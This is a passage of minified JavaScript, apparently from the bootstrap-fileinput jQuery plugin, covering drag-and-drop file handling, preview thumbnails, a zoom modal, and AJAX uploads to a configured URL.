r,n,o,s=this,l=function(e){s._log(t.logMessages.badDroppedFiles),s._log(e)};e.isFile?e.file(function(e){a&&(e.newPath=a+e.name),i.push(e)},l):e.isDirectory&&(n=e.createReader(),(o=function(){n.readEntries(function(t){if(t&&t.length>0){for(r=0;r<t.length;r++)s._scanDroppedItems(t[r],i,a+e.name+"/");o()}return null},l)})())},_initDragDrop:function(){var t=this,i=t.$dropZone;t.dropZoneEnabled&&t.showPreview&&(t._handler(i,"dragenter dragover",e.proxy(t._zoneDragEnter,t)),t._handler(i,"dragleave",e.proxy(t._zoneDragLeave,t)),t._handler(i,"drop",e.proxy(t._zoneDrop,t)),t._handler(e(document),"dragenter dragover drop",t._zoneDragDropInit))},_zoneDragDropInit:function(e){e.stopPropagation(),e.preventDefault()},_zoneDragEnter:function(i){var a=this,r=i.originalEvent.dataTransfer,n=e.inArray("Files",r.types)>-1;return a._zoneDragDropInit(i),a.isDisabled||!n?(r.effectAllowed="none",void(r.dropEffect="none")):(r.dropEffect="copy",void(a._raise("fileDragEnter",{sourceEvent:i,files:r.types.Files})&&t.addCss(a.$dropZone,"file-highlighted")))},_zoneDragLeave:function(e){var t=this;t._zoneDragDropInit(e),t.isDisabled||t._raise("fileDragLeave",{sourceEvent:e})&&t.$dropZone.removeClass("file-highlighted")},_dropFiles:function(e,t){var i=this,a=i.$element;i.isAjaxUpload?i._change(e,t):(i.changeTriggered=!0,a.get(0).files=t,setTimeout(function(){i.changeTriggered=!1,a.trigger("change"+i.namespace)},i.processDelay)),i.$dropZone.removeClass("file-highlighted")},_zoneDrop:function(e){var i,a=this,r=(a.$element,e.originalEvent.dataTransfer),n=r.files,o=r.items,s=t.getDragDropFolders(o);if(e.preventDefault(),!a.isDisabled&&!t.isEmpty(n)&&a._raise("fileDragDrop",{sourceEvent:e,files:n}))if(s>0){if(!a.isAjaxUpload)return void a._showFolderError(s);for(n=[],i=0;i<o.length;i++){var l=o[i].webkitGetAsEntry();l&&a._scanDroppedItems(l,n)}setTimeout(function(){a._dropFiles(e,n)},500)}else a._dropFiles(e,n)},_uploadClick:function(e){var i,a=this,r=a.$container.find(".fileinput-upload"),n=!r.hasClass("disabled")&&t.isEmpty(r.attr("disabled"));if(!e||!e.isDefaultPrevented()){if(!a.isAjaxUpload)return void(n&&"submit"!==r.attr("type")&&(i=r.closest("form"),i.length&&i.trigger("submit"),e.preventDefault()));e.preventDefault(),n&&a.upload()}},_submitForm:function(){var e=this;return e._isFileSelectionValid()&&!e._abort({})},_clearPreview:function(){var t=this,i=t.showUploadedThumbs?t.getFrames(":not(.file-preview-success)"):t.getFrames();i.each(function(){var t=e(this);t.remove()}),t.getFrames().length&&t.showPreview||t._resetUpload(),t._validateDefaultPreview()},_initSortable:function(){var i,a,r,n,o=this,s=o.$preview,l="."+t.SORT_CSS,d=e("body"),c=e("html"),u=o.reversePreviewOrder,p=window.Sortable;p&&0!==s.find(l).length&&(a=d.length?d:c.length?c:o.$container,r=function(){a.addClass("file-grabbing")},n=function(){a.removeClass("file-grabbing")},i={handle:".drag-handle-init",dataIdAttr:"data-fileid",animation:600,draggable:l,scroll:!1,forceFallback:!0,onChoose:r,onStart:r,onUnchoose:n,onEnd:n,onSort:function(i){var a,r=i.oldIndex,n=i.newIndex,s=0,l=o.initialPreviewConfig.length,d=l>0&&n>=l,c=e(i.item);d&&(n=l-1),o.initialPreview=t.moveArray(o.initialPreview,r,n,u),o.initialPreviewConfig=t.moveArray(o.initialPreviewConfig,r,n,u),o.previewCache.init(),o.getFrames(".file-preview-initial").each(function(){e(this).attr("data-fileindex",t.INIT_FLAG+s),s++}),d&&(a=o.getFrames(":not(.file-preview-initial):first"),a.length&&c.slideUp(function(){c.insertBefore(a).slideDown()})),o._raise("filesorted",{previewId:c.attr("id"),oldIndex:r,newIndex:n,stack:o.initialPreviewConfig})}},e.extend(!0,i,o.fileActionSettings.dragSettings),o.sortable&&o.sortable.destroy(),o.sortable=p.create(s[0],i))},_setPreviewContent:function(e){var i=this;t.setHtml(i.$preview,e),i._autoFitContent()},_initPreviewImageOrientations:function(){var t=this,i=0,a=t.canOrientImage;(t.autoOrientImageInitial||a)&&t.getFrames(".file-preview-initial").each(function(){var r,n,o,s=e(this),l=t.initialPreviewConfig[i];l&&l.exif&&l.exif.Orientation&&(o=s.attr("id"),r=s.find(">.kv-file-content img"),n=t._getZoom(o," >.kv-file-content img"),a?r.css("image-orientation",t.autoOrientImageInitial?"from-image":"none"):t.setImageOrientation(r,n,l.exif.Orientation,s)),i++})},_initPreview:function(e){var i,a=this,r=a.initialCaption||"";return a.previewCache.count(!0)?(i=a.previewCache.out(),r=e&&a.initialCaption?a.initialCaption:i.caption,a._setPreviewContent(i.content),a._setInitThumbAttr(),a._setCaption(r),a._initSortable(),t.isEmpty(i.content)||a.$container.removeClass("file-input-new"),void a._initPreviewImageOrientations()):(a._clearPreview(),void(e?a._setCaption(r):a._initCaption()))},_getZoomButton:function(e){var i=this,a=i.previewZoomButtonIcons[e],r=i.previewZoomButtonClasses[e],n=' title="'+(i.previewZoomButtonTitles[e]||"")+'" ',o=t.isBs(5)?"bs-":"",s=n+("close"===e?" data-"+o+'dismiss="modal" aria-hidden="true"':"");return"fullscreen"!==e&&"borderless"!==e&&"toggleheader"!==e||(s+=' data-toggle="button" aria-pressed="false" autocomplete="off"'),'<button type="button" class="'+r+" btn-kv-"+e+'"'+s+">"+a+"</button>"},_getModalContent:function(){var e=this;return e._getLayoutTemplate("modal").setTokens({rtl:e.rtl?" kv-rtl":"",zoomFrameClass:e.frameClass,heading:e.msgZoomModalHeading,prev:e._getZoomButton("prev"),next:e._getZoomButton("next"),toggleheader:e._getZoomButton("toggleheader"),fullscreen:e._getZoomButton("fullscreen"),borderless:e._getZoomButton("borderless"),close:e._getZoomButton("close")})},_listenModalEvent:function(e){var i=this,a=i.$modal,r=function(e){return{sourceEvent:e,previewId:a.data("previewId"),modal:a}};a.on(e+".bs.modal",function(n){if("bs.modal"===n.namespace){var o=a.find(".btn-fullscreen"),s=a.find(".btn-borderless");a.data("fileinputPluginId")===i.$element.attr("id")&&i._raise("filezoom"+e,r(n)),"shown"===e&&(s.removeClass("active").attr("aria-pressed","false"),o.removeClass("active").attr("aria-pressed","false"),a.hasClass("file-zoom-fullscreen")&&(i._maximizeZoomDialog(),t.checkFullScreen()?o.addClass("active").attr("aria-pressed","true"):s.addClass("active").attr("aria-pressed","true")))}})},_initZoom:function(){var i,a=this,r=a._getLayoutTemplate("modalMain"),n="#"+t.MODAL_ID;r=a._setTabIndex("modal",r),a.showPreview&&(a.$modal=e(n),a.$modal&&a.$modal.length||(i=t.createElement(t.cspBuffer.stash(r)).insertAfter(a.$container),a.$modal=e(n).insertBefore(i),t.cspBuffer.apply(a.$modal),i.remove()),t.initModal(a.$modal),a.$modal.html(t.cspBuffer.stash(a._getModalContent())),t.cspBuffer.apply(a.$modal),e.each(t.MODAL_EVENTS,function(e,t){a._listenModalEvent(t)}))},_initZoomButtons:function(){var t,i,a=this,r=a.$modal.data("previewId")||"",n=a.getFrames().toArray(),o=n.length,s=a.$modal.find(".btn-kv-prev"),l=a.$modal.find(".btn-kv-next");return n.length<2?(s.hide(),void l.hide()):(s.show(),l.show(),void(o&&(t=e(n[0]),i=e(n[o-1]),s.removeAttr("disabled"),l.removeAttr("disabled"),t.length&&t.attr("id")===r&&s.attr("disabled",!0),i.length&&i.attr("id")===r&&l.attr("disabled",!0))))},_maximizeZoomDialog:function(){var t=this,i=t.$modal,a=i.find(".modal-header:visible"),r=i.find(".modal-footer:visible"),n=i.find(".modal-body"),o=e(window).height(),s=0;i.addClass("file-zoom-fullscreen"),a&&a.length&&(o-=a.outerHeight(!0)),r&&r.length&&(o-=r.outerHeight(!0)),n&&n.length&&(s=n.outerHeight(!0)-n.height(),o-=s),i.find(".kv-zoom-body").height(o)},_resizeZoomDialog:function(e){var i=this,a=i.$modal,r=a.find(".btn-kv-fullscreen"),n=a.find(".btn-kv-borderless");if(a.hasClass("file-zoom-fullscreen"))t.toggleFullScreen(!1),e?r.hasClass("active")||(a.removeClass("file-zoom-fullscreen"),i._resizeZoomDialog(!0),n.hasClass("active")&&n.removeClass("active").attr("aria-pressed","false")):r.hasClass("active")?r.removeClass("active").attr("aria-pressed","false"):(a.removeClass("file-zoom-fullscreen"),i.$modal.find(".kv-zoom-body").css("height",i.zoomModalHeight));else{if(!e)return void i._maximizeZoomDialog();t.toggleFullScreen(!0)}a.focus()},_setZoomContent:function(i,a){var r,n,o,s,l,d,c,u,p,f,g=this,m=i.attr("id"),v=g._getZoom(m),h=g.$modal,w=h.find(".btn-kv-fullscreen"),b=h.find(".btn-kv-borderless"),_=h.find(".btn-kv-toggleheader");n=v.attr("data-template")||"generic",r=v.find(".kv-file-content"),o=r.length?r.html():"",p=i.data("caption")||"",f=i.data("size")||"",s=p+" "+f,h.find(".kv-zoom-title").attr("title",e("<div/>").html(s).text()).html(s),l=h.find(".kv-zoom-body"),h.removeClass("kv-single-content"),a?(u=l.addClass("file-thumb-loading").clone().insertAfter(l),t.setHtml(l,o).hide(),u.fadeOut("fast",function(){l.fadeIn("fast",function(){l.removeClass("file-thumb-loading")}),u.remove()})):t.setHtml(l,o),c=g.previewZoomSettings[n],c&&(d=l.find(".kv-preview-data"),t.addCss(d,"file-zoom-detail"),e.each(c,function(e,t){d.css(e,t),(d.attr("width")&&"width"===e||d.attr("height")&&"height"===e)&&d.removeAttr(e)})),h.data("previewId",m),g._handler(h.find(".btn-kv-prev"),"click",function(){g._zoomSlideShow("prev",m)}),g._handler(h.find(".btn-kv-next"),"click",function(){g._zoomSlideShow("next",m)}),g._handler(w,"click",function(){g._resizeZoomDialog(!0)}),g._handler(b,"click",function(){g._resizeZoomDialog(!1)}),g._handler(_,"click",function(){var e,t=h.find(".modal-header"),i=h.find(".modal-body .floating-buttons"),a=t.find(".kv-zoom-actions"),r=function(e){var i=g.$modal.find(".kv-zoom-body"),a=g.zoomModalHeight;h.hasClass("file-zoom-fullscreen")&&(a=i.outerHeight(!0),e||(a-=t.outerHeight(!0))),i.css("height",e?a+e:a)};t.is(":visible")?(e=t.outerHeight(!0),t.slideUp("slow",function(){a.find(".btn").appendTo(i),r(e)})):(i.find(".btn").appendTo(a),t.slideDown("slow",function(){r()})),h.focus()}),g._handler(h,"keydown",function(t){var i=t.which||t.keyCode,a=e(this).find(".btn-kv-prev"),r=e(this).find(".btn-kv-next"),n=e(this).data("previewId"),o=g.rtl?39:37,s=g.rtl?37:39;i===o&&a.length&&!a.attr("disabled")&&g._zoomSlideShow("prev",n),i===s&&r.length&&!r.attr("disabled")&&g._zoomSlideShow("next",n)})},_showModal:function(e){var i=this,a=i.$modal;e&&e.length&&(t.initModal(a),t.setHtml(a,i._getModalContent()),i._setZoomContent(e),a.data({backdrop:!1}),a.modal("show"),i._initZoomButtons())},_zoomPreview:function(e){var i,a=this;if(!e.length)throw"Cannot zoom to detailed preview!";i=e.closest(t.FRAMES),a._showModal(i)},_zoomSlideShow:function(t,i){var a,r,n,o,s=this,l=s.$modal.find(".kv-zoom-actions .btn-kv-"+t),d=s.getFrames().toArray(),c=[],u=d.length;if(!l.attr("disabled")){for(r=0;u>r;r++)n=e(d[r]),n&&n.length&&n.find(".kv-file-zoom:visible").length&&c.push(d[r]);for(u=c.length,r=0;u>r;r++)if(e(c[r]).attr("id")===i){o="prev"===t?r-1:r+1;break}0>o||o>=u||!c[o]||(a=e(c[o]),a.length&&s._setZoomContent(a,!0),s._initZoomButtons(),s._raise("filezoom"+t,{previewId:i,modal:s.$modal}))}},_initZoomButton:function(){var t=this;t.$preview.find(".kv-file-zoom").each(function(){var i=e(this);t._handler(i,"click",function(){t._zoomPreview(i)})})},_inputFileCount:function(){return this.$element[0].files.length},_refreshPreview:function(){var t,i=this;(i._inputFileCount()||i.isAjaxUpload)&&i.showPreview&&i.isPreviewable&&(i.isAjaxUpload&&i.fileManager.count()>0?(t=e.extend(!0,{},i.getFileList()),i.fileManager.clear(),i._clearFileInput()):t=i.$element[0].files,t&&t.length&&(i.readFiles(t),i._setFileDropZoneTitle()))},_clearObjects:function(t){t.find("video audio").each(function(){this.pause(),e(this).remove()}),t.find("img object div").each(function(){e(this).remove()})},_clearFileInput:function(){var t,i,a,r=this,n=r.$element;r._inputFileCount()&&(t=n.closest("form"),i=e(document.createElement("form")),a=e(document.createElement("div")),n.before(a),t.length?t.after(i):a.after(i),i.append(n).trigger("reset"),a.before(n).remove(),i.remove())},_resetUpload:function(){var e=this;e.uploadStartTime=t.now(),e.uploadCache=[],e.$btnUpload.removeAttr("disabled"),e._setProgress(0),e._hideProgress(),e._resetErrors(!1),e._initAjax(),e.fileManager.clearImages(),e._resetCanvas(),e.overwriteInitial&&(e.initialPreview=[],e.initialPreviewConfig=[],e.initialPreviewThumbTags=[],e.previewCache.data={ content:[],config:[],tags:[]})},_resetCanvas:function(){var e=this;e.imageCanvas&&e.imageCanvasContext&&e.imageCanvasContext.clearRect(0,0,e.imageCanvas.width,e.imageCanvas.height)},_hasInitialPreview:function(){var e=this;return!e.overwriteInitial&&e.previewCache.count(!0)},_resetPreview:function(){var i,a,r,n=this,o=n.showUploadedThumbs,s=!n.removeFromPreviewOnError,l=(o||s)&&n.isDuplicateError;n.previewCache.count(!0)?(i=n.previewCache.out(),l&&(r=t.createElement("").insertAfter(n.$container),n.getFrames().each(function(){var t=e(this);(o&&t.hasClass("file-preview-success")||s&&t.hasClass("file-preview-error"))&&r.append(t)})),n._setPreviewContent(i.content),n._setInitThumbAttr(),a=n.initialCaption?n.initialCaption:i.caption,n._setCaption(a),l&&(r.contents().appendTo(n.$preview),r.remove())):(n._clearPreview(),n._initCaption()),n.showPreview&&(n._initZoom(),n._initSortable()),n.isDuplicateError=!1},_clearDefaultPreview:function(){var e=this;e.$preview.find(".file-default-preview").remove()},_validateDefaultPreview:function(){var e=this;e.showPreview&&!t.isEmpty(e.defaultPreviewContent)&&(e._setPreviewContent('<div class="file-default-preview">'+e.defaultPreviewContent+"</div>"),e.$container.removeClass("file-input-new"),e._initClickable())},_resetPreviewThumbs:function(e){var t,i=this;return e?(i._clearPreview(),void i.clearFileStack()):void(i._hasInitialPreview()?(t=i.previewCache.out(),i._setPreviewContent(t.content),i._setInitThumbAttr(),i._setCaption(t.caption),i._initPreviewActions()):i._clearPreview())},_getLayoutTemplate:function(e){var i=this,a=i.layoutTemplates[e];return t.isEmpty(i.customLayoutTags)?a:t.replaceTags(a,i.customLayoutTags)},_getPreviewTemplate:function(e){var i=this,a=i.previewTemplates,r=a[e]||a.other;return t.isEmpty(i.customPreviewTags)?r:t.replaceTags(r,i.customPreviewTags)},_getOutData:function(e,t,i,a){var r=this;return t=t||{},i=i||{},a=a||r.fileManager.list(),{formdata:e,files:a,filenames:r.filenames,filescount:r.getFilesCount(),extra:r._getExtraData(),response:i,reader:r.reader,jqXHR:t}},_getMsgSelected:function(e,t){var i=this,a=1===e?i.fileSingle:i.filePlural;return e>0?i.msgSelected.replace("{n}",e).replace("{files}",a):t?i.msgProcessing:i.msgNoFilesSelected},_getFrame:function(e,i){var a=this,r=t.getFrameElement(a.$preview,e);return!a.showPreview||i||r.length||a._log(t.logMessages.invalidThumb,{id:e}),r},_getZoom:function(e,i){var a=this,r=t.getZoomElement(a.$preview,e,i);return a.showPreview&&!r.length&&a._log(t.logMessages.invalidThumb,{id:e}),r},_getThumbs:function(e){return e=e||"",this.getFrames(":not(.file-preview-initial)"+e)},_getThumbId:function(e){var t=this;return t.previewInitId+"-"+e},_getExtraData:function(e,t){var i=this,a=i.uploadExtraData;return"function"==typeof i.uploadExtraData&&(a=i.uploadExtraData(e,t)),a},_initXhr:function(e,i){var a=this,r=a.fileManager,n=function(e){var n=0,o=e.total,s=e.loaded||e.position,l=r.getUploadStats(i,s,o);e.lengthComputable&&!a.enableResumableUpload&&(n=t.round(s/o*100)),i?a._setFileUploadStats(i,n,l):a._setProgress(n,null,null,a._getStats(l)),a._raise("fileajaxprogress",[l])};return e.upload&&(a.progressDelay&&(n=t.debounce(n,a.progressDelay)),e.upload.addEventListener("progress",n,!1)),e},_initAjaxSettings:function(){var t=this;t._ajaxSettings=e.extend(!0,{},t.ajaxSettings),t._ajaxDeleteSettings=e.extend(!0,{},t.ajaxDeleteSettings)},_mergeAjaxCallback:function(e,t,i){var a,r=this,n=r._ajaxSettings,o=r.mergeAjaxCallbacks;"delete"===i&&(n=r._ajaxDeleteSettings,o=r.mergeAjaxDeleteCallbacks),a=n[e],o&&"function"==typeof a?"before"===o?n[e]=function(){a.apply(this,arguments),t.apply(this,arguments)}:n[e]=function(){t.apply(this,arguments),a.apply(this,arguments)}:n[e]=t},_ajaxSubmit:function(t,i,a,r,n,o,s,l){var d,c,u,p,f=this;f._raise("filepreajax",[n,o,s])&&(n.append("initialPreview",JSON.stringify(f.initialPreview)),n.append("initialPreviewConfig",JSON.stringify(f.initialPreviewConfig)),n.append("initialPreviewThumbTags",JSON.stringify(f.initialPreviewThumbTags)),f._initAjaxSettings(),f._mergeAjaxCallback("beforeSend",t),f._mergeAjaxCallback("success",i),f._mergeAjaxCallback("complete",a),f._mergeAjaxCallback("error",r),l=l||f.uploadUrlThumb||f.uploadUrl,"function"==typeof l&&(l=l()),u=f._getExtraData(o,s)||{},"object"==typeof u&&e.each(u,function(e,t){n.append(e,t)}),c={xhr:function(){var t=e.ajaxSettings.xhr();return f._initXhr(t,o)},url:f._encodeURI(l),type:"POST",dataType:"json",data:n,cache:!1,processData:!1,contentType:!1},d=e.extend(!0,{},c,f._ajaxSettings),p=f.taskManager.addTask(o+"-"+s,function(){var t,i,a=this.self;t=a.ajaxQueue.shift(),i=e.ajax(t),a.ajaxRequests.push(i)}),f.ajaxQueue.push(d),p.runWithContext({self:f}))},_mergeArray:function(e,i){var a=this,r=t.cleanArray(a[e]),n=t.cleanArray(i);a[e]=r.concat(n)},_initUploadSuccess:function(i,a,r){var n,o,s,l,d,c,u,p,f,g,m=this;return!m.showPreview||"object"!=typeof i||e.isEmptyObject(i)?void m._resetCaption():(void 0!==i.initialPreview&&i.initialPreview.length>0&&(m.hasInitData=!0,c=i.initialPreview||[],u=i.initialPreviewConfig||[],p=i.initialPreviewThumbTags||[],n=void 0===i.append||i.append,c.length>0&&!t.isArray(c)&&(c=c.split(m.initialPreviewDelimiter)),c.length&&(m._mergeArray("initialPreview",c),m._mergeArray("initialPreviewConfig",u),m._mergeArray("initialPreviewThumbTags",p)),void 0!==a?r?(f=a.attr("id"),g=m._getUploadCacheIndex(f),null!==g&&(m.uploadCache[g]={id:f,content:c[0],config:u[0]||[],tags:p[0]||[],append:n})):(s=m.previewCache.add(c[0],u[0],p[0],n),o=m.previewCache.get(s,!1),l=t.createElement(o).hide().appendTo(a),d=l.find(".kv-zoom-cache"),d&&d.length&&d.appendTo(a),a.fadeOut("slow",function(){var e=l.find(".file-preview-frame");e&&e.length&&e.insertBefore(a).fadeIn("slow").css("display:inline-block"),m._initPreviewActions(),m._clearFileInput(),a.remove(),l.remove(),m._initSortable()})):(m.previewCache.set(c,u,p,n),m._initPreview(),m._initPreviewActions())),void m._resetCaption())},_getUploadCacheIndex:function(e){var t,i,a=this,r=a.uploadCache.length;for(t=0;r>t;t++)if(i=a.uploadCache[t],i.id===e)return t;return null},_initSuccessThumbs:function(){var i=this;i.showPreview&&setTimeout(function(){i._getThumbs(t.FRAMES+".file-preview-success").each(function(){var a=e(this),r=a.find(".kv-file-remove");r.removeAttr("disabled"),i._handler(r,"click",function(){var e=a.attr("id"),r=i._raise("filesuccessremove",[e,a.attr("data-fileindex")]);t.cleanMemory(a),r!==!1&&(i.$caption.attr("title",""),a.fadeOut("slow",function(){i.fileManager;a.remove(),i.getFrames().length||i.reset()}))})})},i.processDelay)},_updateInitialPreview:function(){var t=this,i=t.uploadCache;t.showPreview&&(e.each(i,function(e,i){t.previewCache.add(i.content,i.config,i.tags,i.append)}),t.hasInitData&&(t._initPreview(),t._initPreviewActions()))},_getThumbFileId:function(e){var t=this;return t.showPreview&&void 0!==e?e.attr("data-fileid"):null},_getThumbFile:function(e){var t=this,i=t._getThumbFileId(e);return i?t.fileManager.getFile(i):null},_uploadSingle:function(i,a,r){var n,o,s,l,d,c,u,p,f,g,m,v,h,w=this,b=w.fileManager,_=b.count(),C=new FormData,x=w._getThumbId(a),y=_>0||!e.isEmptyObject(w.uploadExtraData),T=w.ajaxOperations.uploadThumb,P=b.getFile(a),F={id:x,index:i,fileId:a},k=w.fileManager.getFileName(a,!0);w.enableResumableUpload||(w.showPreview&&(o=b.getThumb(a),u=o.find(".file-thumb-progress"),l=o.find(".kv-file-upload"),d=o.find(".kv-file-remove"),u.show()),0===_||!y||w.showPreview&&l&&l.hasClass("disabled")||w._abort(F)||(h=function(){c?b.errors.push(a):b.removeFile(a),b.setProcessed(a),b.isProcessed()&&(w.fileBatchCompleted=!0,s())},s=function(){var e;w.fileBatchCompleted&&setTimeout(function(){var i=0===b.count(),a=b.errors.length;w._updateInitialPreview(),w.unlock(i),i&&w._clearFileInput(),e=w.$preview.find(".file-preview-initial"),w.uploadAsync&&e.length&&(t.addCss(e,t.SORT_CSS),w._initSortable()),w._raise("filebatchuploadcomplete",[b.stack,w._getExtraData()]),w.retryErrorUploads&&0!==a||b.clear(),w._setProgress(101),w.ajaxAborted=!1},w.processDelay)},p=function(s){n=w._getOutData(C,s),b.initStats(a),w.fileBatchCompleted=!1,r||(w.ajaxAborted=!1),w.showPreview&&(o.hasClass("file-preview-success")||(w._setThumbStatus(o,"Loading"),t.addCss(o,"file-uploading")),l.attr("disabled",!0),d.attr("disabled",!0)),r||w.lock(),-1!==b.errors.indexOf(a)&&delete b.errors[a],w._raise("filepreupload",[n,x,i,w._getThumbFileId(o)]),e.extend(!0,F,n),w._abort(F)&&(s.abort(),r||(w._setThumbStatus(o,"New"),o.removeClass("file-uploading"),l.removeAttr("disabled"),d.removeAttr("disabled"),w.unlock()),w._setProgressCancelled())},g=function(s,d,p){var g=w.showPreview&&o.attr("id")?o.attr("id"):x;n=w._getOutData(C,p,s),e.extend(!0,F,n),setTimeout(function(){t.isEmpty(s)||t.isEmpty(s.error)?(w.showPreview&&(w._setThumbStatus(o,"Success"),l.hide(),w._initUploadSuccess(s,o,r),w._setProgress(101,u)),w._raise("fileuploaded",[n,g,i,w._getThumbFileId(o)]),r?h():w.fileManager.remove(o)):(c=!0,f=w._parseError(T,p,w.msgUploadError,w.fileManager.getFileName(a)),w._showFileError(f,F),w._setPreviewError(o,!0),w.retryErrorUploads||l.hide(),r&&h(),w._setProgress(101,w._getFrame(g).find(".file-thumb-progress"),w.msgUploadError))},w.processDelay)},m=function(){w.showPreview&&(l.removeAttr("disabled"),d.removeAttr("disabled"),o.removeClass("file-uploading")),r?s():(w.unlock(!1),w._clearFileInput()),w._initSuccessThumbs()},v=function(t,i,n){f=w._parseError(T,t,n,w.fileManager.getFileName(a)),c=!0,setTimeout(function(){var i;r&&h(),w.fileManager.setProgress(a,100),w._setPreviewError(o,!0),w.retryErrorUploads||l.hide(),e.extend(!0,F,w._getOutData(C,t)),w._setProgress(101,w.$progress,w.msgAjaxProgressError.replace("{operation}",T)),i=w.showPreview&&o?o.find(".file-thumb-progress"):"",w._setProgress(101,i,w.msgUploadError),w._showFileError(f,F)},w.processDelay)},w._setFileData(C,P.file,k,a),w._setUploadData(C,{fileId:a}),w._ajaxSubmit(p,g,m,v,C,a,i)))},_setFileData:function(e,t,i,a){var r=this,n=r.preProcessUpload;n&&"function"==typeof n?e.append(r.uploadFileAttr,n(a,t)):e.append(r.uploadFileAttr,t,i)},_uploadBatch:function(){var i,a,r,n,o,s,l=this,d=l.fileManager,c=d.total(),u={},p=c>0||!e.isEmptyObject(l.uploadExtraData),f=new FormData,g=l.ajaxOperations.uploadBatch;if(0!==c&&p&&!l._abort(u)){s=function(){l.fileManager.clear(),l._clearFileInput()},i=function(i){l.lock(),d.initStats();var a=l._getOutData(f,i);l.ajaxAborted=!1,l.showPreview&&l._getThumbs().each(function(){var i=e(this),a=i.find(".kv-file-upload"),r=i.find(".kv-file-remove");i.hasClass("file-preview-success")||(l._setThumbStatus(i,"Loading"),t.addCss(i,"file-uploading")),a.attr("disabled",!0),r.attr("disabled",!0)}),l._raise("filebatchpreupload",[a]),l._abort(a)&&(i.abort(),l._getThumbs().each(function(){var t=e(this),i=t.find(".kv-file-upload"),a=t.find(".kv-file-remove");t.hasClass("file-preview-loading")&&(l._setThumbStatus(t,"New"),t.removeClass("file-uploading")),i.removeAttr("disabled"),a.removeAttr("disabled")}),l._setProgressCancelled())},a=function(i,a,r){var n=l._getOutData(f,r,i),d=0,c=l._getThumbs(":not(.file-preview-success)"),u=t.isEmpty(i)||t.isEmpty(i.errorkeys)?[]:i.errorkeys;t.isEmpty(i)||t.isEmpty(i.error)?(l._raise("filebatchuploadsuccess",[n]),s(),l.showPreview?(c.each(function(){var t=e(this);l._setThumbStatus(t,"Success"),t.removeClass("file-uploading"),t.find(".kv-file-upload").hide().removeAttr("disabled")}),l._initUploadSuccess(i)):l.reset(),l._setProgress(101)):(l.showPreview&&(c.each(function(){var t=e(this);t.removeClass("file-uploading"),t.find(".kv-file-upload").removeAttr("disabled"),t.find(".kv-file-remove").removeAttr("disabled"),0===u.length||-1!==e.inArray(d,u)?(l._setPreviewError(t,!0),l.retryErrorUploads||(t.find(".kv-file-upload").hide(),l.fileManager.remove(t))):(t.find(".kv-file-upload").hide(),l._setThumbStatus(t,"Success"),l.fileManager.remove(t)),t.hasClass("file-preview-error")&&!l.retryErrorUploads||d++}),l._initUploadSuccess(i)),o=l._parseError(g,r,l.msgUploadError),l._showFileError(o,n,"filebatchuploaderror"),l._setProgress(101,l.$progress,l.msgUploadError))},n=function(){l.unlock(),l._initSuccessThumbs(),l._clearFileInput(),l._raise("filebatchuploadcomplete",[l.fileManager.stack,l._getExtraData()])},r=function(t,i,a){var r=l._getOutData(f,t);o=l._parseError(g,t,a),l._showFileError(o,r,"filebatchuploaderror"),l.uploadFileCount=c-1,l.showPreview&&(l._getThumbs().each(function(){var t=e(this);t.removeClass("file-uploading"),l._getThumbFile(t)&&l._setPreviewError(t)}),l._getThumbs().removeClass("file-uploading"),l._getThumbs(" .kv-file-upload").removeAttr("disabled"),l._getThumbs(" .kv-file-delete").removeAttr("disabled"),l._setProgress(101,l.$progress,l.msgAjaxProgressError.replace("{operation}",g)))};var m=0;e.each(l.fileManager.stack,function(e,i){t.isEmpty(i.file)||l._setFileData(f,i.file,i.nameFmt||"untitled_"+m,e),m++}),l._ajaxSubmit(i,a,n,r,f)}},_uploadExtraOnly:function(){var e,i,a,r,n,o=this,s={},l=new FormData,d=o.ajaxOperations.uploadExtra;o._abort(s)||(e=function(e){o.lock();var t=o._getOutData(l,e);o._raise("filebatchpreupload",[t]),o._setProgress(50),s.data=t,s.xhr=e,o._abort(s)&&(e.abort(),o._setProgressCancelled())},i=function(e,i,a){var r=o._getOutData(l,a,e);t.isEmpty(e)||t.isEmpty(e.error)?(o._raise("filebatchuploadsuccess",[r]),o._clearFileInput(),o._initUploadSuccess(e),o._setProgress(101)):(n=o._parseError(d,a,o.msgUploadError),o._showFileError(n,r,"filebatchuploaderror"))},a=function(){o.unlock(),o._clearFileInput(),o._raise("filebatchuploadcomplete",[o.fileManager.stack,o._getExtraData()])},r=function(e,t,i){var a=o._getOutData(l,e);n=o._parseError(d,e,i),s.data=a,o._showFileError(n,a,"filebatchuploaderror"),o._setProgress(101,o.$progress,o.msgAjaxProgressError.replace("{operation}",d))},o._ajaxSubmit(e,i,a,r,l))},_deleteFileIndex:function(i){var a=this,r=i.attr("data-fileindex"),n=a.reversePreviewOrder;r.substring(0,5)===t.INIT_FLAG&&(r=parseInt(r.replace(t.INIT_FLAG,"")),a.initialPreview=t.spliceArray(a.initialPreview,r,n),a.initialPreviewConfig=t.spliceArray(a.initialPreviewConfig,r,n),a.initialPreviewThumbTags=t.spliceArray(a.initialPreviewThumbTags,r,n),a.getFrames().each(function(){var i=e(this),a=i.attr("data-fileindex");a.substring(0,5)===t.INIT_FLAG&&(a=parseInt(a.replace(t.INIT_FLAG,"")),a>r&&(a--,i.attr("data-fileindex",t.INIT_FLAG+a)))}))},_resetCaption:function(){var e=this;setTimeout(function(){var t,i,a,r=e.previewCache.count(!0),n=e.fileManager.count(),o=":not(.file-preview-success):not(.file-preview-error)",s=e.showPreview&&e.getFrames(o).length;0!==n||0!==r||s?(i=r+n,i>1?t=e._getMsgSelected(i):(a=e.fileManager.getFirstFile(),t=a?a.nameFmt:"_"),e._setCaption(t)):e.reset()},e.processDelay)},_initFileActions:function(){var i=this;i.showPreview&&(i._initZoomButton(),i.getFrames(" .kv-file-remove").each(function(){var a,r,n=e(this),o=n.closest(t.FRAMES),s=o.attr("id"),l=o.attr("data-fileindex");i.fileManager;i._handler(n,"click",function(){return r=i._raise("filepreremove",[s,l]),r!==!1&&i._validateMinCount()?(a=o.hasClass("file-preview-error"),t.cleanMemory(o),void o.fadeOut("slow",function(){i.fileManager.remove(o),i._clearObjects(o),o.remove(),s&&a&&i.$errorContainer.find('li[data-thumb-id="'+s+'"]').fadeOut("fast",function(){e(this).remove(),i._errorsExist()||i._resetErrors()}),i._clearFileInput(),i._resetCaption(),i._raise("fileremoved",[s,l])})):!1})}),i.getFrames(" .kv-file-upload").each(function(){var a=e(this);i._handler(a,"click",function(){var e=a.closest(t.FRAMES),r=i._getThumbFileId(e);i._hideProgress(),e.hasClass("file-preview-error")&&!i.retryErrorUploads||i._uploadSingle(i.fileManager.getIndex(r),r,!1)})}))},_initPreviewActions:function(){var 